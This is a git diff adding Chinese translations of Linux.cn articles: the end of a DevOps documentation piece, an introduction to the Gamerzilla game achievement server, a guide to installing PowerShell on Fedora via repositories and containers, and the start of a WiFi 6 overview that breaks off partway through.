+一般情况下,开发人员承担了记录 DevOps 实践的工作。即使他们的组织有技术写手,他们也可能跨开发团队工作。因此,开发人员和系统管理员能够捕捉、记录和交流他们的最佳实践是很重要的。这里有一些朝正确的方向发展的提示: + +* 提前花时间为 DevOps 最佳实践创建标准模板。不要陷入复制在线模板的陷阱。采访利益相关者和团队来创建一个符合团队需求的模板。 +* 寻找一些创造性的信息收集的方法,例如记录团队会议和使用聊天系统日志来作为文档的基础。 +* 建立一个用于发布最佳实践的维基。使用维基可以跟踪编辑和更新。这样的平台可以帮助团队在最佳实践发生变化时进行更新和维护。 + +当在构建 CI/CD 工具链时记录依赖关系是非常明智的。尤其是当加入新的团队成员时,你会发现这些记录非常有用,另外当团队成员忘记一些事情时,这也是一种保险。 + +最后,自动化对 DevOps 利益相关者和从业者都很有吸引力。在自动化中断之前,一切都很有趣。拥有自动化运行手册、管理指南和其他内容的文档(并且是最新的)意味着无论何时发生故障,员工都可以让自动化重新工作。 + +### 最后一些想法 + +DevOps 对于技术文档来说是一个积极的因素。它将内容开发纳入 DevOps 生命周期,并打破组织文化中开发人员和技术作者之间的隔阂。在没有技术写手的情况下,团队就可以使用工具来加快文档创作的速度,以与 DevOps 的速度相匹配。 + +你的组织将如何把文档加入到 DevOps 生命周期?请在评论区分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/3/devops-documentation + +作者:[Will Kelly][a] +选题:[lujun9972][b] +译者:[Veryzzj](https://github.com/Veryzzj) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/willkelly +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/typewriter-hands.jpg?itok=oPugBzgv "Typewriter with hands" +[2]: https://opensource.com/article/19/11/hiring-technical-writers-devops +[3]: https://searchitoperations.techtarget.com/opinion/Make-DevOps-documentation-an-integral-part-of-your-strategy?_ga=2.73253915.980148481.1610758264-908287796.1564772842 +[4]: https://www.agilealliance.org/glossary/definition-of-done +[5]: https://developers.google.com/season-of-docs +[6]: https://swagger.io/specification/ +[7]: https://devops.com/continuous-documentation +[8]: https://www.cmswire.com/cms/information-management/the-importance-of-docops-in-the-new-era-of-business-027489.php +[9]: https://opensource.com/article/20/7/sharepoint-alternative +[10]: https://opensource.com/article/20/7/nextcloud +[0]: https://img.linux.net.cn/data/attachment/album/202212/15/101537c4kcxxzqzh6fxkor.jpg \ No newline at end of file diff --git a/published/202212/20210917 Open source game achievements.md b/published/202212/20210917 Open source game achievements.md new file mode 100644 index 0000000000..5cb5ca3dea --- /dev/null +++ b/published/202212/20210917 Open source game achievements.md @@ -0,0 +1,82 @@ +[#]: subject: "Open source game achievements" +[#]: via: "https://fedoramagazine.org/open-source-game-achievements/" +[#]: author: "Dennis Payne https://fedoramagazine.org/author/dulsi/" +[#]: collector: "lujun9972" +[#]: translator: "toknow-gh" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15389-1.html" + +Gamerzilla:一个开源游戏成就系统 +====== + +![][1] + +Photo by [Michał Parzuchowski][2] on [Unsplash][3] + +> 了解开源游戏成就系统 Gamerzilla。它使游戏开发者能够独立于游戏平台实现成就系统。 + +一些开源游戏的质量已经媲美商业游戏。尽管还难以比肩 3A 大作,但开源游戏在独立游戏中已颇具竞争力。不过,游戏玩家的期望是随时间变化的。早期的游戏只有高分成就。不断增加的成就种类促使玩家反复重玩游戏。比如你可能达到了满级,却还没有找到所有隐藏物品或没有完成全物品收集。Xbox 360 推出了首个在线多游戏成就系统。随后其它游戏平台也纷纷推出了自己的成就系统。 + +开源游戏在很大程度被游戏平台的成就系统排除在外。你可以在 Stream 上发布开源游戏,但这需要付费。游戏平台主要与公司合作,而不是与自由软件社区合作。这也进一步把玩家锁定在了非自由的游戏平台上。 + +商业游戏开发商也没有得到太多好处。由于不能共享成就,一些享受成就的玩家拒绝从其他商店购买游戏。这种锁定效应增强了游戏平台的话语权。由于各个游戏平台使用不同的系统,开发者不得不针对它们分别进行适配和测试。较小的游戏平台则可能完全被忽略掉。并且平台方能够访问到所有使用该平台的公司的成就数据,这些数据可以被用来扩大竞争优势。 + +### Gamerzilla 的架构 + +[Gamerzilla][4] 是一个致力于改善这种现状的开源游戏成就系统。Gamerzilla 在设计上同时考虑了开源游戏和商业游戏。你可以运行自己的 Gamerzilla 服务器,使用游戏商店提供的服务器,甚至 Linux 发行版提供的服务器。服务器也可以由其他团体来运行。在哪里购买游戏不再重要。成就数据都会上传到你的 Gamerzilla 服务器上。 + +一个基本的成就系统需要两个要素:游戏和 Gamerzilla 服务器。然而随着游戏数量增长,这种设计会暴露出其缺点。每个游戏都需要证书才能上传数据到服务器。由于拥有大量的游戏资源,并且能够在不同游戏商店之间同步数据,游戏启动器成为了众多玩家的选择。通过让启动器支持 Gamerzilla,游戏本身就不再需要证书了。游戏结果直接从启动器上传到 Gamerzilla 服务器。 + +freegamedev.net 曾提供了社交网络系统 Hubzilla。我们基于此开发了一个插件来进行 Gamerzilla 的开发。不幸的是 Hubzilla 的一次升级导致了 freegamedev.net 的服务故障,因此 freegamedev.net 决定不再提供它了。 + +目前 Gamerzilla 服务器有两种实现。维护 Hubzilla 是一项复杂的工作,所以我们用 .Net 和 React 开发了一个独立的 Gamerzilla 服务器。游戏调用的 API 是相同的,所以不用关心连接的服务器是哪种实现。 + +游戏启动器的开发和支持工作通常是滞后的。为了方便启动器增加对 Gamerzilla 的支持,我们开发了 libgamerzilla。这个库负责处理启动器、游戏和 Gamerzilla 服务器之间的交互。目前只有 GameHub 实现了一个支持 Gamerzilla 的版本,并将在近期整合到项目中。Fedora 上的 libgamerzilla-server 是一个临时解决方案。它不启动游戏,而是监听成就并把成就上传到服务器。 + +支持 Gamerzilla 的游戏在不断增长。与游戏启动器一样,开发者使用 libgamerzilla 来完成 Gamerzilla 的集成工作。这个库由 C 语言实现,已经被 Python 和 nim 等多种编程语言使用。对于那些已经有成就系统的游戏,只需要花几天时间就可以完成对 Gamerzilla 的支持。其他游戏想要支持 Gamerzilla,大部分时间都是花在收集信息和授予成就上。 + +### 架设服务器 + +架设服务器最容易的方式是使用 Hubzilla 插件。但是运行 Hubzilla 站点却不是一件轻松的事情。在 Fedora 上架设基于 .Net 和 React 的服务器相对来说要容易一些,尽管这仍然需要许多步骤。详细步骤请参考 [readme][5] 文件。需要这么多步骤的一部分原因是目前没有预编译好的发布版本。这意味着你需要自己安装 .Net,动手构建 React 源码部分。构建完成之后,React 代码会直接运行在 Apache 中。.Net 后端则运行在单独的服务上。Apache 作为代理负责把所有 Gamerzilla API 请求转发给后端服务。 + +按上面的步骤操作,Gamerzilla 已经运行起来了,但是现在还没有用户。当然应该有一个简单的方式来创建管理员和注册新用户。但是该功能还没有完成。目前只能通过 sqlite3 命令行来录入用户信息。具体步骤请参考 [readme][5] 文件。用户可以是公开可见的,也可以是隐藏的。批准标记可以让新用户不立刻使用该系统,但是网络注册是必须的。在设计时我们已经考虑了用户相关模块的可替换性。通过替换 `backend/Service/UserService.cs` 就可以与其他站点进行集成。游戏网站也可以通过这种方式来为用户提供 Gamerzilla 成就系统。 + +目前 Gamerzilla 的后端使用的是 sqlite 数据库。我们还没有对它进行过性能测试。我们预计较大型的应用安装需要改进系统以使用更鲁棒的数据库。 + +### 测试 + +目前要找一个支持 Gamerzilla 的游戏启动器太难了。如果你安装了 libgamerzilla-server,就可以在命令行中运行 `gamerzillaserver` 命令。首次运行该命令时需要输入 URL 和登录信息。以后再运行时会直接从配置文件读取这些信息。目前更正错误的唯一方法是删除 `.local/share/gamerzillaserver/server.cfg` 再重新运行 `gamerzillaserver` 命令。 + +大多数游戏还没有支持 Gamerzilla 的版本。[itch.io 上的 《Pinball Disc Room》][6],它的 Linux 版本支持 Gamerzilla,但是它的网页版是没有成就系统的。这款游戏只有两个成就:一个是存活 10 秒钟,另一个是解锁并使用隧道。只需要稍加练习,你就能获得一个成就。由于这款游戏没有可视化的成就提示消息,你需要查看 Gamerzila 服务器才能确认成就。 + +目前打包到 Fedora 中的游戏都还不支持 Gamerzila。《SuperTuxKart》 已经整合了对 Gamerzila 的支持,正在等待发布新版本。《Seahorse adventures》 和 《Shippy 1984》 添加了成就,但是新发布版本还没有打包。还有一部分游戏由我们独立完成了对 Gamerzila 的支持,但我们的拉取请求pull request或其它联系尝试还没有得到开发者的回应。 + +### 后续工作 + +Gamerzilla 需要更多游戏的支持。目前已经有很多游戏支持 Gamerzilla,并且正在以大约每月一个的速度增长。如果你有喜欢的游戏,可以请求开发方支持 Gamerzilla。如果你是游戏开发者,并且在支持 Gamerzilla 上需要技术支持,请联系我们。 + +服务器的开发工作在缓步开展中,我们希望不久之后就会有一个可用的注册系统。在那之后我们可能会建立一个永久托管站点。目前你可以看到我们的 [测试服务器][7]。一些人对于使用 .Net 作为后端表示担忧。我们的 API 并不复杂,可以很容易用 Python 重写。 + +最大的不确定性来自游戏启动器方面。GameHub 希望有一个通过用的成就接口。未来我们可能会在这方面与他们开展合作。增加对 itch.io 应用的支持可以提升系统的关注度。另一种方案是完全抛开启动器。也许可以将 gamerzillaserver 添加到 Gnome 中。然后你就可以在一个设置页面里配置 URL 和登录信息。这样任何启动的游戏都可以记录成就了。 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/open-source-game-achievements/ + +作者:[Dennis Payne][a] +选题:[lujun9972][b] +译者:[toknow-gh](https://github.com/toknow-gh) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/dulsi/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/09/game_acheivements-816x345.jpg +[2]: https://unsplash.com/@mparzuchowski?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/s/photos/jenga?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: http://identicalsoftware.com/gamerzilla/ +[5]: https://github.com/dulsi/gamerzilla.net#readme +[6]: https://dulsi.itch.io/pinball-disc-room +[7]: http://108.49.106.217/ diff --git a/published/202212/20210922 Install PowerShell on Fedora Linux.md b/published/202212/20210922 Install PowerShell on Fedora Linux.md new file mode 100644 index 0000000000..e008f88174 --- /dev/null +++ b/published/202212/20210922 Install PowerShell on Fedora Linux.md @@ -0,0 +1,292 @@ +[#]: subject: "Install PowerShell on Fedora Linux" +[#]: via: "https://fedoramagazine.org/install-powershell-on-fedora-linux/" +[#]: author: "TheEvilSkeleton, Ozymandias42 https://fedoramagazine.org/author/theevilskeleton/ https://fedoramagazine.org/author/ozymandias42/" +[#]: collector: "lujun9972" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15312-1.html" + +在 Fedora Linux 系统上安装 PowerShell +====== + +![][0] + +PowerShell(也可写作 pwsh)是一个功能强大的开源命令行工具,它是面向对象的,由微软开发和维护。它的语法特征冗长,但对用户来说比较直观。本文介绍如何在主机上和在 Podman 或其他容器内安装 PowerShell。 + +### 为何使用 PowerShell + +PowerShell,正如它的名字那样,是一个强大的工具。它的句法冗长,但语义清晰。对那些不愿意写长命令的开发者来说,PowerShell 的大多数命令都有别名。可以使用 `Get-Alias` 或点击 [此处][15] 查询别名的使用方法。 + +PowerShell 和传统的 Shell 最大的区别在于它的输出管道。普通的 Shell 输出的是字符串或字符流,PowerShell 输出的是对象。这对命令管道的工作方式具有深远的影响,而且它具有很多的优点。 + +#### 演示例子 + +下面的例子体现的是冗长而清晰的特点。以 `#` 号开头的行是注释行。以 `PS > ` 开头的行是命令行,`PS > ` 是提示符: + +``` +# Return all files greater than 50MB in the current directory. +## Longest form +PS > Get-Childitem | Where-Object Length -gt 50MB +## Shortest form (with use of aliases) +PS > gci | ? Length -gt 40MB +## Output looks like this + Directory: /home/Ozymandias42/Downloads +Mode LastWriteTime Length Name +---- ------------- ------ ---- +----- 20/08/2020 13:55 2000683008 40MB-file.img + + +# In order: get VMs, get snapshots, only select the last 3 and remove selected list: +PS > Get-VM VM-1 | Get-Snapshot | Select-Object -Last 3 | Remove-Snapshot +``` + +上述例子说明了:Bash 脚本经常需要用 `cut`、`sed`、`awk` 等工具对输入/输出进行格式化,而使用 PowerShell 时通常就没有这个必要了。这是因为 PowerShell 的工作机制跟传统的 POSIX shell(例如 Bash、Zsh、Fish等)有本质的不同。传统的 Shell 的命令输出形式是字符串,而在 PowerShell 中,命令输出形式为对象。 + +#### Bash 与 PowerShell 的比较 + +下面的例子说明了与 Bash 中的字符串输出模式相比,PowerShell 的对象输出模式的优点。假设你需要写一段脚本,该脚本的作用显示所有进程,这些进程一共占用了 200MB 内存空间。如果使用 Bash,大致如下: + +``` +$ ps -eO rss | awk -F' ' \ + '{ if($2 >= (1024*200)) { \ + printf("%s\t%s\t%s\n",$1,$2,$6);} \ + }' + +PID RSS COMMAND +A B C +[...] +``` + +第一个显而易见的差别就是可读性,或更确切地说是语义清晰度。 `ps` 和 `awk` 都不是自描述的。`ps` 命令的功能是显示进程状态;`awk` 是一种文本处理工具和语言,这个词汇每个字母都是前期开发人员的名字(**A**ho, **W**einberger, **K**ernighan(详见 [维基百科][16])的首字母。然而,在把它与 PowerShell 作比较前,先看看这个脚本: + + * `ps -e` 输出所有运行中的进程; + * `-O rss` 输出 `ps` 的默认输出内容,再加上 RSS 字段 —— 每个进程使用的千字节数(以 KB 为单位);输出结果类似于: + + ``` + PID RSS S TTY TIME COMMAND + 1 13776 S ? 00:00:01 /usr/lib/systemd/systemd + ``` + * `|` 管道操作符使用左边命令的输出作为右边命令的输入。 + * `awk -F' '` 定义“空格”,作为输入字段分隔符。以上面的例子来说,PID 是第一个字段,RSS 是第二个字段,依此类推。 + * `'{ if($2 >= (1024*200)) {` 是实际的 AWK 代码起始处。它的作用是检查第二个字段([RSS][17])是否包含一个大于或等于 1024*200 的数字; + * `printf(“%s\t%s\t%s\n”,$1,$2,$6);}` 脚本继续。如果前面的条件成立,则输出第一、第二和第六个字段(分别是 [PID][18]、[RSS][17] 和 `COMMAND` 字段)。 + +考虑到这一点,退一步说,编写这段脚本需要什么才能令它工作: + + * 输入命令 `ps` 的输出中必须包含我们想要过滤的字段。这在默认情况下是没有的,需要我们使用 `-O` 标志和 `rss` 字段作为参数。 + * 我们需要将 `ps` 的输出当作一组输入字段,所以我们还应当知道它们的顺序和结构。换句话说,我们至少需要确定 `RSS` 是第二个字段。这也意味着我们需要提前知道 `ps` 的输出信息的大致情况。 + * 然后我们需要知道过滤的数据是什么单位,以及相关工具的单位是什么。也就是我们需要知道 `RSS` 和 `awk` 字段使用 kb。不然我们就不能写出 `($2 >= 1024*200)` 这样的表达式。 + +现在,我们把前面的命令跟 PoserShell 中等价的命令比较: + +``` +# Longest form +PS > Get-Process | Where-Object WorkingSet -ge 200MB +# Shortest form (with use of aliases) +PS > gps | ? ws -ge 200MB + +NPM(K) PM(M) WS(M) CPU(s) Id SI ProcessName +------ ----- ----- ------ -- -- ----------- + A B C D E F G +[...] +``` + +首先应该注意到,语义非常清晰。这些命令都是自描述的,能清晰描述它们做什么。 + +此外,不需要对输入-输出重新格式化,也不需要关心输入命令使用的单位。这是因为 PowerShell 输出的是对象,而非字符串。 + +考虑下述情况,就可以理解这些内容。在 Bash 中,命令的输出信息就是终端显示的信息。在 PowerShell 中,终端显示的信息并不等于实际可用的信息。这是由于 PowerShell 中的输出-打印系统使用的也是对象。因此 PowerShell 中每一条命令都对输出的对象的一些属性作了可打印的标记,也对一些属性作了不可打印的标记。然而,它总是包括所有的属性,而 Bash 只包括它实际打印的内容。我们可以把它想象成 JSON 对象。Bash 中的输出位置被分为一些“字段”,以空格或制表符为标志,在 PowerShell 中它是一个容易寻址的对象属性,只需要知道它的名称即可使用。就像上述例子中的 `WorkingSet` 那样。 + +为了看到一条命令的输出对象的所有属性和它们的类型,可以进行以下操作: + +``` +PS > Get-Process | Get-Member +``` + +### 安装 PowerShell + +PowerShell 安装包的形式有若干种,包括 Fedora Linux 中使用的 RPM 安装包。本文介绍在 Fedora Linux 中如何使用多种方法安装 PowerShell。 + +我推荐使用原生的方法安装。但我也会介绍如何在容器中安装。我将展示使用官方微软 PowerShell 容器和 Fedora Linux 30 的 Toolbox 容器。使用容器的优点在于,所有的依赖捆绑在其中,并且与主机隔离,所以它一定是有效的。无论如何,虽然官方文档只是明确指出支持 Fedora Linux 发行版的 28-30 版本,我还是建议使用原生的方法安装。 + +**注意:** 官方支持意味着一定有效。但其他的版本也不是一定不兼容。也就是说,高于 30 的发行版也应该有效。经过测试,的确如此。 + +在容器中设置并运行 PowerShell 比直接在主机上运行它难度更大,安装需要花费更多时间,而且你还不能直接运行主机的命令。 + +#### 在主机上使用包管理器安装 PowerShell + +##### 方法一:使用微软仓库 + +安装过程很直接,而且跟通过第三方仓库安装其他软件没什么区别。 + +通俗地说,安装过程可以分为四步: + + 1. 添加新仓库的 GPG 密码 + 2. 在 DNF 仓库列表中新增相应的仓库 + 3. 刷新 DNF 缓存,将新仓库中的有关包包含进来 + 4. 安装新包 + +然后使用命令 `pwsh` 启动 PowerShell。 + +``` +$ sudo rpm --import https://packages.microsoft.com/keys/microsoft.asc +$ curl https://packages.microsoft.com/config/rhel/7/prod.repo | sudo tee /etc/yum.repos.d/microsoft.repo +$ sudo dnf makecache +$ sudo dnf install powershell +$ pwsh +``` + +欲删除仓库和包,运行以下命令: + +``` +$ sudo rm /etc/yum.repos.d/microsoft.repo +$ sudo dnf remove powershell +``` + +##### 方法 2:使用 PRM 文件 + +这种方法与第一种方法没有明显的差别。实际上,在安装 RPM 文件时,隐式添加了 GPG 密码和仓库。这是由于 RPM 文件包含它们两者的关联关系,保存在它的元数据中。 + +首先,从 [PowerShell GitHub 仓库][19] 获取相应版本的 `.rpm` 文件。然后查看 `readme.md` 文件中的 “获取 PowerShell” 部分的内容。 + +第二步,输入以下命令: + +``` +$ sudo dnf install powershell-.rhel.7..rpm +``` + +在 `` 和 `` 节点中填写各自的内容,例如 [powershell-7.1.3-1.rhel.7.x86_64.rpm][20]。 + +你也可以使用链接运行它,不指定版本和架构,先把它下载到本地。 + +``` +$ sudo dnf install https://github.com/PowerShell/PowerShell/releases/download/v/powershell-.rhel.7..rpm +``` + +欲删除 PowerShell,运行以下命令: + +``` +$ sudo dnf remove powershell +``` + +#### 通过容器安装 + +##### 方法一:使用 Podman 容器 + +Podman 是一个兼容 [开放容器倡议][21](OCI)的、嵌入式的容器引擎,它可以代替 Docker。 + +微软提供了 [PowerShell Docker 容器集成工具][22]。下面的例子将在 Podman 中使用容器。 + +欲了解更多关于 Podman 的信息,可以访问 [Podman.io][23]。Fedora 杂志还有一个专为 Podman 设计的 [标签][24]。 + +欲在 Podman 中使用 PowerShell,运行以下脚本: + +``` +$ podman run \ + -it \ + --privileged \ + --rm \ + --name powershell \ + --env-host \ + --net=host --pid=host --ipc=host \ + --volume $HOME:$HOME \ + --volume /:/var/host \ + mcr.microsoft.com/powershell \ + /usr/bin/pwsh \ + -WorkingDirectory $(pwd) +``` + +这段脚本为使用 PowerShell 创建了一个 Podman 容器,并立即接入其中。它还将 `/home` 和主机的根目录挂载到容器中,确保它们在容器中是可用的。无论如何,在 `/var/host` 目录下,主机的根目录是可访问的。 + +但是,在容器内部,你只能间接运行主机命令。有一种变通办法,就是先运行 `chroot /var/host` 改变根目录,然后运行主机命令。 + +为了把命令拆分开来讲解,除非特别指定,以下所有内容都是强制性的: + + * `-it` 创建一个持久环境,当你进入该环境后,不会轻易退出; + * `--privileged` 给予容器扩展的权限(可选); + * `--rm` 当你退出时移除容器; + * `--name` 设置容器名称; + * `--env-host` 将所有主机的环境变量设置为容器的变量(可选); + * `--net=host --pid=host --ipc=host` 在主机的命名空间中运行进程(而非一组单独的名称空间); + * `--volume $HOME:$HOME` 挂载用户目录; + * `--volume /:/var/host` 将主机根目录挂载到 `/var/host`(可选); + * `mcr.microsoft.com/powershell` 进入容器; + * `/usr/bin/pwsh` 可选但很方便的参数:用别名 `pwsh`,脚本中有了它,可以输入 `pwsh` 轻松访问 Podman 容器; + * `-WorkingDirectory $(pwd)` 在当前目录下进入容器(可选)。 + +欲移除 PowerShell 镜像,运行以下命令: + +``` +$ podman rmi mcr.microsoft.com/powershell +``` + +##### 方法二:Fedora 系统的 Toolbox 容器 + +在不影响主机系统的情况下安装持久化环境,使用 Toolbox 容器是一种巧妙的解决方案。它充当了 Podman 的封装器,负责提供大量的标志,就像方法一中提到的那样。因此,Toolbox 比 Podman 容易使用。它可以用来开发和调试。有了 Toolbox,你可以运行任何命令,跟你直接在 Fedora 工作站主机上运行是一样的。 + +安装步骤跟在主机上安装一样,唯一的区别就是在容器内部进行。你需要确保已经安装了 `toolbox` 包。 + +使用 Fedora 34 Toolbox 容器需要两个步骤: + + 1. 创建 Fedora 34 Toolbox 容器 + 2. 运行 Fedora 34 Toolbox 容器 + +``` +$ toolbox create --image registry.fedoraproject.org/f34/fedora-toolbox +$ toolbox enter --container fedora-toolbox +``` + +接着,按照 [方法一:使用微软仓库][10] 中的相关内容操作。 + +可选但非常方便的做法:使用别名 `pwsh`,可以轻松地访问 Toolbox 容器: + +``` +toolbox run –container fedora-toolbox pwsh +``` + +欲移除 Toolbox 容器,需要确保你已经使用 `exit` 关闭了 Toolbox 会话,然后运行以下命令: + +``` +$ podman kill fedora-toolbox +$ toolbox rm fedora-toolbox +``` + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/install-powershell-on-fedora-linux/ + +作者:[TheEvilSkeleton, Ozymandias42][a] +选题:[lujun9972][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/theevilskeleton/https://fedoramagazine.org/author/ozymandias42/ +[b]: https://github.com/lujun9972 +[1]: https://fedoramagazine.org/wp-content/uploads/2021/05/powershell-816x345.jpg +[2]: https://unsplash.com/@noaa?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[3]: https://unsplash.com/@thecedfox?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[4]: https://unsplash.com/s/photos/shell?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText +[5]: tmp.c7U2gcu9Hl#why-use-powershell +[6]: tmp.c7U2gcu9Hl#demonstration +[7]: tmp.c7U2gcu9Hl#comparison-between-bash-and-powershell +[8]: tmp.c7U2gcu9Hl#install-powershell +[9]: tmp.c7U2gcu9Hl#install-on-host-via-package-manager +[10]: tmp.c7U2gcu9Hl#method-1-microsoft-repositories +[11]: tmp.c7U2gcu9Hl#method-2-rpm-file +[12]: tmp.c7U2gcu9Hl#install-via-container +[13]: tmp.c7U2gcu9Hl#method-1-podman-container +[14]: tmp.c7U2gcu9Hl#method-2-fedora-toolbox-container +[15]: https://ilovepowershell.com/2011/11/03/list-of-top-powershell-alias/ +[16]: https://en.wikipedia.org/wiki/AWK +[17]: https://en.wikipedia.org/wiki/Resident_set_size +[18]: https://en.wikipedia.org/wiki/Process_identifier +[19]: https://github.com/PowerShell/PowerShell +[20]: https://github.com/PowerShell/PowerShell/releases/download/v7.1.3/powershell-7.1.3-1.rhel.7.x86_64.rpm +[21]: https://opencontainers.org/ +[22]: https://hub.docker.com/_/microsoft-powershell +[23]: https://podman.io/ +[24]: https://fedoramagazine.org/tag/podman/ +[0]: https://img.linux.net.cn/data/attachment/album/202212/03/120749nkevgkb12exbeffg.jpg \ No newline at end of file diff --git a/published/202212/20220608 WiFi 6 Promises Much More than Faster Speeds.md b/published/202212/20220608 WiFi 6 Promises Much More than Faster Speeds.md new file mode 100644 index 0000000000..959a4170f6 --- /dev/null +++ b/published/202212/20220608 WiFi 6 Promises Much More than Faster Speeds.md @@ -0,0 +1,96 @@ +[#]: subject: "WiFi 6 Promises Much More than Faster Speeds" +[#]: via: "https://www.opensourceforu.com/2022/06/wifi-6-promises-much-more-than-faster-speeds/" +[#]: author: "Sharon Katta https://www.opensourceforu.com/author/sharon-katta/" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15369-1.html" + +WiFi 6 带来的不仅是高速 +====== + +> WiFi 6 提高了网络连通性,它在不久的将来有望为数万亿台设备组网,并且能够不间断而高效地工作。它虽然在 2019 年就取得了官方认证,但由于疫情原因,它的测试工作面临不少挑战。本文旨在对这项技术进行概述。 + +![WiFi-6][1] + +WiFi 技术的下一代标准,称为 “WiFi 6”,也可以称为 “AX WiFi” 或 “802.11ax”。它是为满足指数级增长的设备组网需求而产生的,因此也可以用于 VR 和智能家居。它是现有的 802.11ac WiFi 标准的升级版,可以应对现有技术在容量、效率、覆盖范围和性能方面遇到的挑战。 + +![Figure 1: WiFi 6][2] + +这项技术是在 2014 年进行研发,完成于 2018 年,由 IEEE 高性能无线网络研究组(HEW SG)发布。产品认证于 2019 年后期进行,此时三星 Galaxy Note 10 和 Ruckus R750 使用了这种技术。WiFi 6 运行于 1GHz 和 6GHz 波段,主要的频率为 2.4GHz-5GHz。 + +如今,每个家庭平均有九台设备需要连接 WiFi。WiFi 6 主要致力于改善网络质量,而不是提升某些设备的速度。 + +### WiFi 6的特点 + +- **多用户、多输入、多输出(MU-MIMO):** 路由器和多台设备可以同时通信。在 2.4GHz 和 5GHz 频率上,它支持四个同步的数据流,当这些数据流添加到一个用户时,可以从智能路由器接收到相当大的输入数据的带宽。 +- **1024-QAM:** 这令 WiFi 6 的每个数据包能编码的字节数更多,吞吐量增加了 25%。它不仅提高了大业务量情况下的通信效率,也最大限度增加了传输速率。这在现代企业应用系统领域有很大的优势。 +- **正交频分复用(OFDM):** 支持四倍的副载波,速度也提高了 11%。扩展的信号支持用户同时进行更多数据包传输。所以数据包之间的等待时间和延迟就减少了。 +- **增加的信道宽度:** 80MHz 的波段加入了 160MHz 的信道通信,信道宽度增加了一倍。因此,路由器可以容纳更多用户,为每个用户提供更大的数据流。 +- **目标唤醒时间(TWT):** 这是 WiFi 6 特有的。它支持每台设备独立协商发送和接收的唤醒时间。它可以增加总体睡眠时间,令电池寿命最大化。它还支持许多额外的网络选项,特别是对 IoT 设备的支持。 +- **提升安全性:** 一切支持 WiFi 6 的设备都需要包含 WPA3 协议。它可以对未经验证的通信进行加密,针对暴力字典攻击提供了强大的密码保护,以及对敏感信息进行 192 位的加密,提升数据的可靠性。 +- **波束赋形:** 借助八根天线,波束赋形能提高传输速率,通信范围也因直接定向到某个客户端而扩大。它对快速移动的、可能面临多用户、多输入、多输出的设备起到了支撑作用。波束赋形也有利于控制那些蓄意发出干扰信号的天线的传输。然后信号会被重新定向到新的目标。 + +### 支持 WiFi 6 的设备 + +到目前为止,路由器、中继器、网状网络和多数 WiFi 使用者还是以 WiFi 5 为标准。WiFi 6 是 2019 年推出的。一些支持 WiFi 5 的早期设备存在一些兼容性问题 —— 它们可以使用 WiFi 6 的网络,但得不到相应的支持服务。 + +WiFi 6 的路由器是向后兼容的。应该确保网络已经为此做好了准备。 + +WiFi 6 实现了较低的电量消耗,在任何场景(包括 IoT)下,都是个不错的选择。它减少了不必要的数据流动,还会通知设备何时将数据激活或令其睡眠。所以不必要的数据流动减少了,性能和电池寿命也提高了。 + +三星 Galaxy Note 10 和 Ruckus R750 是全球第一款经认证支持 WiFi 6 的智能手机和接入设备,苹果的最新款 iPhone 也紧随其后。WiFi 联盟已经确立了认证方案,正如人们预期的那样,等待入市的那些新款无线产品也开始申请认证了。下列设备已支持 WiFi 6: + +* iPhone 11 和之后的型号 +* 三星 Galaxy S10、S20、Note 10 和 Note 20 +* 配置 M1 处理器的苹果电脑 +* 智能电视 + +> 为了全面享受到 802.11ax 标准带来的改进,硬件和软件的功能都需要基于这种 WiFi 技术进行升级。 + +### 硬件测试 + +为了充分挖掘最新款设备的潜力,需要一台 WiFi 6 路由器来运行网络。几年前,这么做的成本很高,但现在我们有多种选择,甚至可以使用网格系统、游戏路由器、范围扩展器等等。只有在进行实际测试时,才可以购买最划算的设备。如今,在速度方面,TP-Link Archer AX6000 是最快的,它击败了所有的竞争者。这款路由器可以以 1523 Mbps 的速率无线传输数据,有效传输距离为 1.5米(5 英尺)。 + +很重要的一点,请务必记住,这些路由器提速,并不是在变魔术。理论上的最大速率 9.6 Gbps是实现不了的。这种理论上的最大速率,实际上也会被多台设备分摊掉。 + +WiFi 6 侧重于在连接设备密集的地方提供高质量的连接。它不会令单台设备的速率指数级增长,但会使相关的设备运行处于理想水平。 + +只有各大互联网服务提供商(ISP)的加速计划与 WiFi 6 路由器结合起来,才能体现它的真正潜力。真正的挑战是那些 ISP 承受的,因为它们需要铺设新型的光纤来利用这种下一代技术。存在一个重要的问题:当ISP 的通信速率变得更快,现有的硬件会变得多余吗? + +### WiFi 6 的应用 + +- **大型公共场所(LPV):** 体育馆和会议中心是上千台设备同时联网的公共场所。WiFi 6 能改善参会者体验,增强消费者互动,还能提供附加服务,比如即时回放,订购餐食等。它还支持 LPV 业主开拓新的商业机会。 +- **交通枢纽:** 公共交通站点也是人们需要同时联网的场所。OFDMA 和 BSS 这类明显具有 WiFi 6 色彩的技术为解决这种问题提供了必要的工具。 +- **物联网和智慧城市建设:** WiFi 6 的能效令物联网设备可以进入休眠模式,并且可以在预定的间隔内开启信号发射器,以便在无需过多维护的情况下增加现场作业时间。 +- **教育机构:** 